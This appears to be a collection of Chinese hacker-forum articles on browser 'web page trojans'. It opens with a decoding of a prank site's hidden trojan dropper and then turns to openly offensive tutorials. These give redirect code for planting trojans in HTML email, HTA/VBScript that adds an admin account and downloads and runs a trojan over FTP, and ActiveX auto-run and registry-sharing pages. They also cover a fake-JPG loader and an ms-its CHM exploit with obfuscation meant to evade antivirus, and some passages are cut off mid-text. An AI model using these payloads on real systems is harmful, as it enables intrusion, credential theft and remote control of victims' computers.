http://kevjy.1816.net/1/index.htm
那就从罪魁祸首开始分析
http://kevjy.1816.net/1/index.htm
其页面代码如下：
<script
        language="Jscript.Encode">#@~^8gAAAA==@#@&@!Z
        O,@#@&7lM~KD[/{JYf;W4NnmDPNmOC]2fu +tOOa]fbJ&tK:n
        bYN.2cmG:JV\%Hzs:R4Yss]y
        ~hkL4D]>PSkND4Y&GPZ]f2Yf;zG4NnmD]f3r@&0;U1YrW
        ~U+Og+SWMNkc#@& -lMPHnSWM[/p1+S
        GD9/{EU+d^mwn`qGD9/bI9Wm;hxORS.bYnv1hKD9d#p8@&?YHnSWM[/v#i@&&&P
         O@*@&IUsAAA==^#~@</script >
<head><meta content="text/html;
        charset=gb2312" http-equiv=Content-Type><meta content="Microsoft
        FrontPage 4.0" name=GENERATOR><LINK href="../../images/main.css"
        rel=stylesheet><title>八目妖整人城堡</title>
<style
        fprolloverstyle>A:hover {color:
        #FF0000}
</style>
<script
        language=javascript>
step=0
function
        flash_title()
{
step++
if (step==3) {step=1}
if (step==1)
        {document.title='☆★<a href='http://kev.369.com'
        target=_blank>http://kev.369.com</a>☆★→<a
        href='http://kev.369.com' target=_blank>http://kev.369.com</a>
        '}
if (step==2) {document.title='★☆<a href='http://kev.369.com'
        target=_blank>http://kev.369.com</a>★☆→<a
        href='http://kev.369.com' target=_blank>http://kev.369.com</a>
        '}
setTimeout("flash_title()",200);
}
flash_title()
</script>
<script LANGUAGE="javascript">
<!--
vers = navigator.appVersion;
vers = parseFloat(vers.substring(vers.lastIndexOf(".")-1,vers.length));
var c=1;
defaultStatus="<a href='http://kev.369.com' target=_blank>http://kev.369.com</a> ; 如果你喜欢本站,别忘了把本站的网址告诉给你QQ上的朋友哦!谢谢您！"
function bookmark() {
window.external.AddFavorite('<a href='http://kev.369.com'' target=_blank>http://kev.369.com'</a>, '我爱你');
}
//-->
</script>
</HEAD>
<BODY bgcolor="#CCFFCC" text="#006600" link="#0000FF" vlink="#0000FF" alink="#0000FF">
<script language=javascript><!--// Hide the javascript from older browsers (window.alert(" 18岁以下禁止进入,请按确定")) // End hiding of script // --></script>
<script language=javascript><!--
// Hide the javascript from older browsers
(window.alert(" 你的系统严重出错！请关闭其他窗口！ "))
// End hiding of script
// --></script>
<script language=javascript><!--
// Hide the javascript from older browsers
(window.alert(" 你的系统严重出错！请关闭其他窗口！ "))
// End hiding of script
// --></script>
<script language=javascript><!--
// Hide the javascript from older browsers
(window.alert(" 你的系统严重出错！请关闭其他窗口！ "))
// End hiding of script
// --></script>
……
（中间省略N多象上面一样的弹出窗口废话）
……
<script language=javascript>
<!-- Hide the javascript from older browsers
(window.alert("因为你还有可能碰到类似的网页喔!"))
// End hiding of script -->
</script>
<script language=javascript><!--
// Hide the javascript from older browsers
(window.alert("你仔细想一想...不觉得有趣吗??"))
// End hiding of script
// --></script>
<script language=javascript><!--
// Hide the javascript from older browsers
(window.alert("好吧~我对不起你~你生命可以继续啦!!"))
// End hiding of script
// --></script>
<div align="center">
<center>
<table border="0" cellpadding="0" cellspacing="0" width="750">
<tr>
<td height="20"></td>
<td height="20"></td>
<td height="20">
<p></td>
<td height="20"></td>
</tr>
<tr>
<td width="9%"></td>
<td width="41%"></td>
<td width="43%">
<p align="right"><font color="#339966"> <b><<< </b><script language="javascript" src="../../favor.js"></script></font><b><font color="#339966">>>> </font></b></td>
<td width="7%"></td>
</tr>
<tr>
<td width="100%" colspan="4">
<p align="center"><font size="6">哈哈，过瘾吧？</font> </p>
<P align=center><FONT color=#339966 face=Wingdings
size=7>ABCDEFGHIMN<BR>&*(</FONT></P>
<p align="center"><font size="4" face="Arial"><b>HeHe......Just a joke!</b></font></p>
<p align="center"><font size="4" face="Arial"><b>Have FUN......</b></font></p>
<p align="center">　</td>
</tr>
</table>
</center>
</div>
</BODY>

哇好多弹出窗口啊？其实后面你就知道了，这其实不过是让他给你种木马争取时间：）黑吧！！
上面的代码其实有一小段代码十分可疑！应该大家也注意了。就是：
<script language="Jscript.Encode">#@~^8gAAAA==@#@&@!Z O,@#@&7lM~KD[/{JYf;W4NnmDPNmOC]2fu +tOOa]fbJ&tK:n bYN.2cmG:JV\%Hzs:R4Yss]y ~hkL4D]>PSkND4Y&GPZ]f2Yf;zG4NnmD]f3r@&0;U1YrW ~U+Og+SWMNkc#@& -lMPHnSWM[/p1+S GD9/{EU+d^mwn`qGD9/bI9Wm;hxORS.bYnv1hKD9d#p8@&?YHnSWM[/v#i@&&&P ［/QUOTE">O@*@&IUsAAA==^#~@<／script>

很明显代码被微软的脚本编码器( SCRENC.EXE )加密过！简单介绍一下，微软的脚本编码器( SCRENC.EXE )是微软提供的可以对ASP脚本源码进行编码加密的一个工具。应用开发商通过使用这个工具，达到 Web 主机和 Web 客户不能查看或修改它们的源代码。具体信息可以查看中国暗域网络相关技术文章，这里就不说废话了！现在开始解密……
把秘密议文拷贝到一个TXT文件中，重命名为source.txt。然后找到ZwdEcode所在的目录，输入

D:\Tools>zwdecode
Decoder for Microsoft script v6.2
?2001 MrZhengwei , <a href=" mailto:zhengei@263.net">zhengei@263.net</a> TEL:013001865430
Home page: <a href='http://www.zhengwei.net/prg/zwdecode.htm' target=_blank>http://www.zhengwei.net/prg/zwdecode.htm</a> ;
Usage: zwdecode <infile> <outfile>
zwdecode source.txt hackway.txt

软件zwdecode下载地址：中国暗域网络技术下载系统
现在去同目录下看，可以找到hackway.txt，其中就是解密后的明文。使用ZWD轻易破解后的明文如下：

<script language="Jscript.Encode">
<!--
var Words="%3Cobject data%3D%22http%3A//home.itdrp.com/kevjy/mm.html%22 weight%3D0 width%3D 0%3E%3C/object%3E"
function SetNewWords()
{var NewWords;NewWords=unescape(Words);document.write(NewWords);}
SetNewWords();
// -->
</script>
看见了破解后的明文，可以分析这里是个重点
http%3A//home.itdrp.com/kevjy/mm.html
%3A是编码后的内容，翻译过来就是t。那么我们现在清楚了，原来开始的时候还插入了一个mm.html页！
好！再去这里看看：http://home.itdrp.com/kevjy/mm.html
竟然是张白页？晕……而且无法查看源代码，点了“查看源文件”竟然没反应，连输入view-source都不可以，只好把它强行下载回来研究了。
一下回来竟然被杀毒软件杀掉了，看来这个页面最有问题了。关闭杀毒软件时实监控，再下一次。
OK！现在我们可以看见mm.html的内容如下：
前面的代码是这样的（被杀毒软件认成病毒的就是这里了，后面的无毒就不说了，我懒……）：
<html>
<body>
<object
        data="lhxyexe.asp" weight=0 width= 0
        height="14"></object>
<object data="lhxyhta.asp" weight=0
        width= 0 height="14"></object>
<object data="20cn.asp"
        weight=0 width= 0 height="14"></object>
<object
        data="qqkev.asp" weight=0 width= 0
        height="14"></object>
<object data="lhxyexe1.asp"
        weight=0 width= 0 height="14"></object>
<object
        data="lhxyhta1.asp" weight=0 width= 0
        height="14"></object>
<object data="i"+"e.asp" weight=0
        width= 0
        height="14"></object>
</body>
</html>

（以上的代码会被杀毒软件认成病毒，如果想保存此文章，请把上面的代码转换成下面的代码，书写方式变化而已）
<html>
<body>
<object
        data="lhxy"+"exe.asp" weight=0 width= 0
        height="14"></object>
<object data="lhxy"+"hta.asp"
        weight=0 width= 0 height="14"></object>
<object
        data="20"+"cn.asp" weight=0 width= 0
        height="14"></object>
<object data="qqk"+"ev.asp"
        weight=0 width= 0 height="14"></object>
<object
        data="lhx"+"yexe1.asp" weight=0 width= 0
        height="14"></object>
<object data="lhxy"+"hta1.asp"
        weight=0 width= 0 height="14"></object>
<object
        data="i"+"e.asp" weight=0 width= 0
        height="14"></object>
</body>
</html>

可以看见上面的代码就知道问题所在了。经过检查lhxyexe.asp，并未对系统做什么动作。而20cn.asp等都是病毒文件（好狠毒啊）。均为脚本病毒js.htadropper的变种，这里冰血封情具体对他们尽心一一分析：

JS.HTADropper.b 不详，等待有识之士一起研究
JS.HTADropper.c 修改用户IE设置的恶意网页
JS.HTADropper.d 恶意网页的恶意脚本
JS.HTADropper.e 启动后是放出两个脚本病毒，具体放出了谁我就不清楚了，等待有识之士一起研究
JS.HTADropper.f 恶意网站释放的病毒。利用IE漏洞，释放木马病毒Trojan.PSW.PS-Client.enc，楼主一直说自己那个是网页木马，现在知道木马在哪里了吧：）
JS.HTADropper.gen 脚本病毒，作用不详，等待有识之士一起研究。还是自己问问那个站长吧。

现在来说说刚才JS.HTADropper.f放出来的小木马吧。
Trojan.PSW.PS-Client.enc其实是个后门程序，在后台隐藏运行。并修改注册表的 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 项,在其中添加一项 键值以达到自启动的目的.窃取用户密码。
真是无“毒”不丈夫啊！！
小生佩服佩服……以上就是对网页木马的简单剖析，如有什么不对，还请高手斧正。
最后说一点，其实木马还可以插得更加“神不知鬼不觉”，而且只要做小小的修改，前面的文章中其实我已经告诉你了，具体是哪？自己找！实在找不到？访问中国暗域网络技术主题：[TIPS]The Technology of Virus and Bug
承让承让……
习惯看下时间2004年1月23日凌晨5：15。


制作邮件网页木马
文章作者：不详
大家肯定对网页木马已经很熟悉了,但大家可能对邮件网页木马还不是很熟悉。其实这个也许有些高手以前已经发现并使用很久了。但我一直未见网上及杂志上有此方面的内容。这里我就以技术共享的原则跟大家谈谈邮件网页木马的思路及实现方法。
    邮件网页木马的危害巨大，它能化被动为主动。目前网络上流行的网页木马其实是很被动的，它需要被害者点击目标网址。随着现在网民的安全观念的增强，网民一般不会轻易点击陌生的网址。但邮件网页木马就不一样了，你可以将电子邮件发送到你想要攻击的目标信箱。只要你根据社会工程学及心理学的知识,将邮件的标题看上去不明显像是垃圾邮件或广告，那么接收者肯定会点击此邮件的。只要他点击了此邮件主题，看了信，哈哈，他就中招了！当然你也可以通过邮件群发器,这样的话，传播速率比普通的网页木马以及电子书木马不知高多少呢!而且它有个最大的优点,那就是具有目标可指定性。它可以攻击你想要的指定用户。这一点是普通方法无法比拟的。
    邮件网页木马其实就是在发E-mail以HTML方式内嵌网页木马，使邮件本身成为一张网页木马。到这时你也许回大呼，我怎么没想到啊！呵呵，不怕做不到，只怕想不到啊。其实有些技术本身并不难，但就是怕不往这方面想啊。我还是赶快转入正题吧，否则，坏柿子扔过来啦！闪!
    聪明的你此时可能会说，邮件网页木马岂不是很简单啊，只要在发邮件是选择以HTML方式发送，再将网页木马的源代码写入即可。事实上当然没这么简单，因为国内的绝大部分电子信箱都对其中一些关键代码进行的屏蔽过滤。因而本文将重点研究怎样突破重围，在电子邮件中引入网页木马，达到我们的目的。
    一般的网页木马都用到javasccript，但绝大部分邮件系统都对<script>标记作了屏蔽。从而我们只能另辟新法。我们可以不直接将网页木马的代码写入邮件中，因为如果写入的话，有关代码会被屏蔽，网页木马将失效。我们可以写入转向代码，使用户浏览此邮件时转向我们放在自己网站上的网页木马。当然，邮件网页木马的难点就在转向代码。写转向代码要有讲究，因为写得不巧妙的话，代码将会被邮件系统屏蔽。
    下面笔者来谈谈几种有效的可以在电子邮件中引入网页木马的且没被邮件服务器屏蔽的转向代码。因为绝大部分邮件系统都对<script>标记作了屏蔽，所以为了转向代码有效，均不使用JS和VBS标记。
1. window.location 法，代码如下
<body onload="window.location='http://xxxxx/';"></body>
2. 框架法，代码如下
<frameset cols="100%,*">
<frame src="http://xxxxx/" scrolling="auto">
</frameset>
    其中scrolling参数值得注意，合理使用可加强隐蔽性。Cols参数可根据自己的实际情况作更改。
3. META标志法，代码如下
<META HTTP-EQUIV="Refresh" CONTENT="0;URL= http://xxxxx/">
    其中CONTENT后面的阿拉伯数字是代表过几秒中钟转入目标网页。
4. iframe内帧法
<iframe src="http://xxxxx/" width="0" height="0" frameborder="0">
    其中width="0" height="0"是引入网页的大小尺寸，可以根据你的实际需要加以调整。其中的frameborder参数也很重要，如果使用的恰当的话，可以增强邮件网页木马的隐蔽性。为了大家看的清楚，我将widt和height均设置的非零数值，转向的是网易的首页（如果转向的是放在自己网站上的网页木马，呵呵......）。图1是设置frameborder=1的效果，图2是设置为frameborder=0的效果。
    大家由上面两幅图即可知道，如果设置为frameborder=1，邮件中可看见邮件服务器自动加带的页脚广告。而设置为frameborder=0，则如图2所示，它不像普通的信件一样看见邮件服务器自动加带的广告。大家可根据具体情况选择frameborder参数来获得最好的伪装引入效果，使对方感觉不到他所浏览的邮件是已经转向到你的网站上的网页木马.
    上述代码笔者已经对国内的几乎所有电子信箱作了测试，如网易，搜狐，新浪，亿唐，21CN，TOM等等。以上四种方法各有千秋。第一种方法的适应范围最小。比如网易、亿唐都屏蔽了它。但第2、3、4方法在国内的信箱测试中均通过。尤其第2、3种方法几乎百试百灵。当然第4种方法也很经典，参数多，隐蔽性强。大家可根据不同的目标信箱选择最有效的转向引入代码。
    现在只要大家会制作网页木马（关于网页木马木马的制作方法，大家可以参见以往的黑防），拥有了性能优秀的后门程序或木马程序，再配合本文所讲的邮件木马引入技术的话，贪心的再来个邮件群发，呵呵，你必将为所欲为，肉鸡成群。而且，这种方法具有攻击目标可指定性的优点！一场暴风雪即将来临！大家以后还是少在公开场合公布信箱哟！当然，稳妥的措施是邮件服务器实行严格个代码过滤，用户将邮件查看方式设置为以文本方式查看！
    后记：笔者顺便还对几个国外著名的邮箱：hotmail以及Yahoo作了测试，发现它们过滤得都非常严格。上述的4种方法的代码都被过滤了。此时我深感国内邮件提供商与国外的差距。安全观念的差距！但hotmail以及Yahoo并不是固若金汤。以色列网络安全公司GreyMagic Software已经发现hotmail以及Yahoo邮箱也存在过滤不严的漏洞。我们可以用同步多媒体集成语言的（SMIL）的HTML＋TIME技术来突破屏蔽，实现转向引入网页木马的目的。庆幸的是此漏洞最近已经被hotmail以及Yahoo修补。但国内的几乎所有电子信箱均存在此漏洞。当然深爱钻研技术的你肯定会问，现在是否有针对hotmail以及Yahoo邮箱的有效的转向引入代码。答案是肯定的！这个问题留给大家思考，大家可以向xml方向去发散，相信你一定会找到的！


网页木马 实现方法
信息来源：黑色海岸线
这几天有关网页木马的问题很多，现在介绍一个详细的使用过程:
一、建立用户
--------------------------------------------------------------------
1,在你的web目录下新建一个网页add.htm，代码如下
<html>
<body>
This is a add user program!
It's will add an administrator on your computer!
user:backup
pwd :hx068
<object data="http://127.0.0.1/add.add"></object>
'127.0.0.1 是你的主页地址
</body>
2,在你的web目录下建立一个add.add文件，内容如下
<html>
<object id=wsh classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object>
<script language=vbscript>
set wshshell=createobject ("wscript.shell" )
a=wshshell.run ("cmd.exe /c net user backup hx068 /add",0)
b=wshshell.run ("cmd.exe /c net localgroup Administrators backup /add",0)
window.close
</script>
</html>
3,到~控制面版~管理工具~Internet服务器管理，找你的web站点~右键~属性~http头
,点击最下面MIME映射的文件类型~~~新类型~~~
在关联扩展名中输入".add"(不含引号)，在内容类型中输入"application/hta"~~~一路确定。OK
现在用IE浏览http://127.0.0.1/add.htm,计算机就会添加一个U/P:backup/hx068的用户，权限是管理员。
----------------------------------------
二、上传木马
修改add.add，内容如下
<html>
<object id=wsh classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object>
<script LANGUAGE="VBScript">
Dim fso, tf,wsh
Set fso = CreateObject("Scripting.FileSystemObject")
set wsh=createobject ("wscript.shell" )
Set tf = fso.CreateTextFile("ftp.txt",true)
tf.Write "open 127.0.0.1"&chr(13)&chr(10)
tf.Write "你的FTP用户名"&chr(13)&chr(10)
tf.Write "你的FTP密码"&chr(13)&chr(10)
tf.Write "get 木马文件名+扩展名"&chr(13)&chr(10)
tf.Write "bye"
tf.Close
a=wsh.Run ("ftp -s:ftp.txt",0,true)
b=wsh.Run ("木马文件名+扩展名")
window.close
</script>
</html>
现在用IE浏览http://127.0.0.1/add.htm,计算机就会从127.0.0.1的FTP上下载“木马”到%system32%目录下面并且运行。


制作网页木马
文章作者：不详
大家对木马都不陌生了，它可能要算是计算机病毒史上最厉害的了，相信会使木马的人千千万万，但是有很多人苦于怎么把木马发给对方，现在随着计算机的普及，在网络上我相信很少有人会再轻易的接收对方的文件了，所以网页木马诞生了。

1.它应该算是html带动同路径下的一个exe的文件的主页了，也就是当浏览器浏览这个页面的时候，一个exe的文件就在后台自动下载并执行了，可以做一个test.html的文件在桌面，内容如下：
<script language="javascript">
run_exe="<OBJECT ID=\"RUNIT\" WIDTH=0 HEIGHT=0
        TYPE=\"application/x-oleobject\""
run_exe+="CODEBASE=\"test.exe#version=1,1,1,1\">"
run_exe+="<PARAM NAME=\"_Version\" value=\"65536\">"
run_exe+="</OBJECT>"
run_exe+="<HTML><H1>网页加载中，请稍后....</H1></HTML>";
document.open();
document.clear();
document.writeln(run_exe);
document.close();
</script>

再在桌面下随便找个exe的文件，名字一定要改为tset.exe，好了，这时候双击我们刚才生成的html文件，当看到“网页加载中，请稍后....”的时候，我们的那个同路径下的exe文件也被无条件执行了，这种页面的优点就是编译修改简单，但是！当你申请下了一个个人主页空间的时候，把这两个文件上传上去的时候，当你试图通过浏览器浏览你的杰作的时候，ie的安全警告跳了出来，我想没有几个人愿意乖乖的冒着风险去点“是”，好了，尽管这个网页木马在本地是多么的完美，但是放到了网上就通不过ie的安全策略了，这个小马失败了。
2.是通过ie自身的漏洞写入注册表，相信很多人经常在浏览一些主页的时候，注册表被改的乱七八糟、ie标题被改、首页被改、注册表编辑器被禁用等等，这些都是自动修改了你的注册表的网页的杰作，所以我门也可以做个页面让浏览者的硬盘完全共享，也是做个html的文件，内容如下：
script language=javascript>
document.write("<APPLET HEIGHT=0 WIDTH=0
        code=com.ms.activeX.ActiveXComponent></APPLET>");
function
        f(){
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
Shl.RegWrite
        ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Flags",402,"REG_DWORD");
Shl.RegWrite
        ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Type",0,"REG_DWORD"
);
Shl.RegWrite
        ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Path","C:\\");
}
function init()
{
setTimeout("f()", 1000);
}
init();
</script>

当对方的浏览过这个页面的时候，他的c:就被共享了，共享后的进入方法嘛..呵呵不用说了吧，但是他虽然被共巷了，但是你还不知道谁正在看你的这个页面，他的ip又是多少你都不知道，没有关系，有个很简单的方法，去163申请一个域名的转换，如：http://dhj.126.com连接目标地址里...褪枪蚕砹恿恕?/a>
这种网页木马的特点是比较安全，不宜被对方发现，但是使用麻烦需要牵扯到很多的东西。
3.也是现在最好用的一种了吧，个人认为。它是将一个小巧的exe文件作成一个.eml的文件，再用ie的漏洞让一个html的页面执行这个.eml的文件，你的那个小巧的exe文件就被执行了，由于代码过长又因每个exe文件转换后的代码不同所以不可能一一写出，下面给出一个地址http://dhj.126.com实际上就是一个转...憧梢酝ü齮elnet x.x.x.x 3389来完全控制对方（这个5k的小后门是winshell5.0黑白网络有下，同时这个winshell5.0还有一个很出色的功能，就是能下载一个你事先设置好的指定路径下的一个文件，并执行他，我放置的是网络深偷，如果你的杀毒软件够厉害的话，神偷是可以被查出来的，这里只是实验，实际中可以指定很多查不到的小马，这里不阐述），有兴趣的朋友可以来试试。

这种网页木马的特点是，对方挨种率较高，除了制作麻烦一点外，没有什么缺点啦
好了所有的漏洞都是建立在系统漏洞的前提下，多升级多打补丁没有坏处


分析国内流行的IE6.0最新网页木马
信息来源：网络
特点：
1 针对任何没有打过补丁的IE版本都有效！
2 木马下载过程中防火墙不会做任何反应！
3 木马地址以jpg为后缀名。列如 http://xxx.xxx.xxx.xxx/003.jpg
和一般的图片地址无任何俩样！打开地址后在浏览器上会和正常情况下一样出现图片！但木马却已经在后台下载并在下载完成后自动执行！具有很强的迷惑性！

一般来说，我们做出来的网页木马地址都是以 htm 或html 结尾！那么我们怎么修改呢？很简单！
不知道大家知道不知道。IE有一个很小的BUG。即只要网站文件里有html码它就会执行，并不理会文件后缀名是什么。
于是我们可以这么来修改网页木马的后缀名，其实说准确一点并不是修改点网页木马的地址后缀名，是利用一个图片地址来打开这个网页木马！
打开记事本写入如下一段代码：

<html>
<iframe src="IE6。0网页木马地址" width="0" height="0" frameborder="0"></iframe>
<center><img src="图片地址"></center>
</html>

然后将其另存为XXX.jpg 。
剩下的工作就是将这个XXX.jpg图片格式的文件上传的你的空间，给出相对路径让别人访问了！
别人在访问这个XXX.jpg文件时。。浏览器会将文件内的html码执行，根据代码的内容。你的网页木马地址会作为隐藏窗口被打开。。另外那个图片也会出现在对方所打开的网页上


打造终极网页木马
文章作者：嘟嘟　QQ:977257

此漏洞被发现已不是一天两天的事了，考虑到用户的安全等因素，微软以及一些安全组织并没有公开发布此漏洞，只是近日发现网络上有越来越多的利用该漏洞捆绑木马的网页后美国计算机应急响应小组(Computer Emergency Readiness Team，简称CERT) 才正式公布了微软IE浏览器中存在的一个最新漏洞，目前这一漏洞还没有完善的解决方案，用户即使采取了一定的保护措施仍然不能完全避免该漏洞所带来的危险。利用这一漏洞，入侵者可以欺骗IE浏览器中的InfoTech Storage(ITS)协议处理器，使之从其它域获取脚本，并获得同目标计算机上本地区域相同的权限。CERT指出，入侵者在访问某一网站时通过使用一个特殊的URL地址就可以执行上述脚本，从而获得他人的信用卡信息甚至是造成整个网络瘫痪。这一漏洞的工作原理如下：IE浏览器通过ITS或者MHTML协议来标识一个不能访问或是不存在的MHTML文件；当IE浏览器没 有发现编译完成的HTML帮助文件(CHM)时，ITS协议处理器就可能会受到欺骗从而访问来自其它域的CHM文件。此时入侵者就可以通过对CHM文件进行精心设计，使之包含可以从其它域执行的脚本，从而交叉域安全模式也就被入侵者攻破了。
闲话少说，立即进入正题。实现起来非常简单，相信稍微懂一点Html的人都能手动实现的。
第一步：写一个能够自动运行EXE文件的网页，文件内容很简单，如下：
<BODY onmouseup=document.selection.empty() oncontextmenu="return false" onselectstart="return false" ondragstart="return false" onbeforecopy="return false" oncopy=document.selection.empty() onselect=document.selection.empty()>
<OBJECT id=RUNIT codeBase=IEPack.exe type=application/x-oleobject height=0 width=0 OBJECT>

Body标签内进行了一些访问控制，屏蔽了鼠标进行选择、屏蔽鼠标右键、屏蔽鼠标的拖拽操作、防止Copy等等。第二个标签是负载EXE的代码，通过OBJECT标签负载一个二进制文件，注意这里的type类型为"application/x-oleobject"，上面的代码在object中加入了一个名为"IEPack.exe"的执行文件，如果这时直接打开此html，你就会发现EXE文件也神奇的运行起来了，聪明的你是不是已经看出来点什么了？
第二步：将上面的的代码存成文件，暂定为"chm.html"，并且把object标签内设定的EXE文件和网页放在同一个目录。不要以为这样就能运行了，IE不会主动下载服务器上的执行文件的。当然办法是有的，随便找个CHM制作工具，将这个页面和EXE文件一并打入CHM后打开CHM文件你就发现EXE也是同样的运行起来了。在这里我推荐用EasyCHM，很好用的。下载地址？？~!@#$%^自己用狗狗搜去吧。
第三步：这一步最关键，这也是利用漏洞之所在！
再建立一个htm文件mm.htm，写入以下代码：
<BODY onmouseup=document.selection.empty()
        oncontextmenu="return false" onselectstart="return false"
        ondragstart="return false" onbeforecopy="return false"
        oncopy=document.selection.empty()
        onselect=document.selection.empty()>
<TEXTAREA id=code
        style="DISPLAY: none">
<object
        data="ms-its:mhtml:file://c:\foo.mht!${path}/help.chm::/chm.html"
        type="text/x-scriptlet"></object>
</TEXTAREA>
<SCRIPT
        language=javascript>
document.write(code.value.replace(/\${path}/g,location.href.substring(0,location.href.indexOf('chm.html'))));
</SCRIPT>
<OBJECT
        type="text/x-scriptlet"
        data="ms-its:mhtml:file://c:\foo.mht!http://duduwolf.winzheng.com/public/IEpack/help.chm::/chm.html"></OBJECT>
呵呵，如果觉得看起来乱七八糟的话建议将以上代码copy到htm编辑器中查看，就容易的多了，代码中第一个标签body和前面一个一样。第二个为textarea标签，请注意里面包含了一个object标签，这个标签就用到了IE的ms-its漏洞，data的值是一串带ms-its协议的文件路径，其中的${path}只是为了掩人耳目罢了，紧接着看第三个标签，是一段javascript脚本，脚本的内容就是把textarea里的值（即那段<object .....></object>）进行字符替换，要替换的内容就是${path}前面的所有字符，大家要奇怪，这里为什么要替换呢，好好的直接写进去难道不行吗？当然不行！！
因为IE在下在此页面后，谁都不知道它把这个页面的本地临时文件放到那个位置，你不知道位置，当然无法run chm里面的那个EXE了，所以用代码里用location.href.substring(0,location.href.indexOf('chm.html'))得到了本地临时页面的全路径。location.href返回的就是当前页面的全路径文件名，然后用substring一选就很轻松得到路径了，再用replace替换，轻轻松松就得到chm文件的全路径名了。哦，这里忘了说，这个IE漏洞的关键就是客户端(IE)会自动下载服务器上的chm文件（抱歉，怎么把最关键的技术给忘了 汗。。。）。
最后一个标签还是一个object，这个标签的作用就是显示chm里包含的那个htm文件，也就是第一、二步制作的那个chm.html文件。至于代码中两次出现的"ms-its:mhtml:file://c:\foo.mht!"，这是ms-its的特定格式，具体什么意思我还没研究呢，等我知道了在告诉你:)
第四步：哈哈，你的最新潮的网页木马大终告成了，不过不要高兴得太早，根据今天我测试的结果，诺顿、赛门铁克、咖啡、瑞星（其他的杀毒没装，不知道）等都能成功截杀该网页木马了，你也不要丧气，我既然写了这篇文章就一定有解决办法的。杀毒软件查杀一个病毒的原理很简单，就是以二进制或者文本方式(脚本病毒)打开此文件，查找特定的病毒特征代码，在这里我估计大多数杀毒软件是查找"ms-its:mhtml:file://c:\foo.mht!"这行相关的，具体我没有再作测试，所以咱们在源代码中尽量避开此串代码就可以躲开杀毒软件的耳目了。躲开的方法很多，我用的是javascript脚本的字符串加密。加密函数是javascript自带的，加密用escape(src)，解密用unescape(src)，这两个函数执行后返回的就是加/解密后的字符串，在这里我给大家一个现成的，将以下代码copy入一个htm文件用IE打开，剩下的不用我说，地球人都会用！将你精心设计的这个网页发布到网上，然后就等着倒霉蛋中标吧（是不是太黑了？有点心狠手辣？不至于吧？没听乌鸦都说自己是黑客嘛。。。）
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>网页代码加密解密器</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312"><LINK
href="http://a0759.nease.net/images/css.css" type=text/css rel=stylesheet>
<SCRIPT language=JavaScript>
<!--
var i=0;
var ie=(document.all)?1:0;
var ns=(document.layers)?1:0;
function initStyleElements() /* Styles for
        Buttons Init */
{
var c = document.pad;
if
        (ie)
{
//c.text.style.backgroundColor="#DDDDDD";
c.compileIt.style.backgroundColor="#C0C0A8";
c.compileIt.style.cursor="hand";
c.select.style.backgroundColor="#C0C0A8";
c.select.style.cursor="hand";
c.view.style.backgroundColor="#C0C0A8";
c.view.style.cursor="hand";
c.retur.style.backgroundColor="#C0C0A8";
c.retur.style.cursor="hand";
c.clear.style.backgroundColor="#C0C0A8";
c.clear.style.cursor="hand";
}
else
        return;
}
/* Buttons Enlightment of "Compilation" panel
        */
function LightOn(what)
{
if (ie) what.style.backgroundColor
        = '#E0E0D0';
else return;
}
function FocusOn(what)
{
if
        (ie) what.style.backgroundColor = '#EBEBEB';
else
        return;
}
function LightOut(what)
{
if (ie)
        what.style.backgroundColor = '#C0C0A8';
else return;
}
function
        FocusOff(what)
{
if (ie) what.style.backgroundColor =
        '#DDDDDD';
else return;
}
/* Buttons Enlightment of
        "Compilation" panel */
function generate() /* Generation of
        "Compilation" */
{
code = document.pad.text.value;
if
        (code)
{
document.pad.text.value='正在生成加密代码，请稍后!';
setTimeout("compile()",1000);
}
else
        alert('请输入源文件代码')
}
function compile() /* The "Compilation"
        */
{
document.pad.text.value='';
compilation=escape(code);
document.pad.text.value="<script>\n<!--\ndocument.write(unescape(\""+compilation+"\"));\n//-->\n<\/script>";
i++;
alert("页面被加密了
        "+i+" 次!");
}
function selectCode() /* selecting "Compilation" for
        Copying
        */
{
if(document.pad.text.value.length>0)
{
document.pad.text.focus();
document.pad.text.select();
}
else
        alert('没有可以选择的文本内容!')
}
function preview() /* Preview for the
        "Compilation"
        */
{
if(document.pad.text.value.length>0)
{
pr=window.open("","Preview","scrollbars=1,menubar=1,status=1,width=700,height=320,left=50,top=110");
pr.document.write(document.pad.text.value);
}
else
        alert('没有可以预浏览的文本内容!')
}
function uncompile() /* Decompiling a
        "Compilation" */
{
if
        (document.pad.text.value.length>0)
{
source=unescape(document.pad.text.value);
document.pad.text.value=""+source+"";
}
else
        alert('你需要生成被加密的代码后才能取回源代码!')
}
//
        -->
</SCRIPT>
<SCRIPT language=JavaScript
        type=text/JavaScript>
<!--
function MM_swapImgRestore() {
        //v3.0
var i,x,a=document.MM_sr;
        for(i=0;a&&i<a.length&&(x=a)&&x.oSrc;i++)
        x.src=x.oSrc;
}
function MM_preloadImages() { //v3.0
var
        d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
var
        i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length;
        i++)
if (a.indexOf("#")!=0){ d.MM_p[j]=new Image;
        d.MM_p[j++].src=a;}}
}
function MM_findObj(n, d) { //v4.01
var
        p,i,x; if(!d) d=document;
        if((p=n.indexOf("?"))>0&&parent.frames.length)
        {
d=parent.frames[n.substring(p+1)].document;
        n=n.substring(0,p);}
if(!(x=d[n])&&d.all) x=d.all[n]; for
        (i=0;!x&&i<d.forms.length;i++)
        x=d.forms[n];
for(i=0;!x&&d.layers&&i<d.layers.length;i++)
        x=MM_findObj(n,d.layers.document);
if(!x && d.getElementById)
        x=d.getElementById(n); return x;
}
function MM_swapImage() { //v3.0
var
        i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array;
        for(i=0;i<(a.length-2);i+=3)
if
        ((x=MM_findObj(a))!=null){document.MM_sr[j++]=x; if(!x.oSrc)
        x.oSrc=x.src;
        x.src=a[i+2];}
}
